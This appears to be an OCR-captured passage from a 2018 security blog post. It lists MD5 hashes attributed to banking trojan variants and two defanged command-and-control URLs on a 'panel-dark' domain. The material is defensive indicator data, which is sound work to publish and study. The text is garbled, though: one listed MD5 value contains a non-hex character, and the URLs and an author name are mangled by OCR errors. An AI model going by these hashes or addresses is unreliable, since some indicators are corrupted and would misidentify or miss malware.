MD5 88b808d8164e709df2ca99f73ead2e16 Variants of Banking Trojan
MD5 d3f845c84a2bd8e3589a6fbf395feal6 Variants of Banking Trojan
MD5 28a0968163b6e6857471305aee5c17e9 Variants of Banking Trojan
MD5 1285205ae5dd5fa5544b3855b11b989d Variants of Banking Trojan
MD5 613563d7863b4f9f66590064b88164c8 Variants of Banking Trojan
MD5 3dd43e69f8d71fcc2704eb73c1ea7daf Variants of Banking Trojan
c2 https[:]//panel-
dark[.Jcom/w3af/img2.jpg

co httpsl[:]/panel-

dark[.Jcom/w3af/img1.jpg

This entry was posted on Tue Apr 24 11:00 EDT 2018 and filed under Trojan, Malware,
Edson Sierra, Spam, and Gerardo lglesias.
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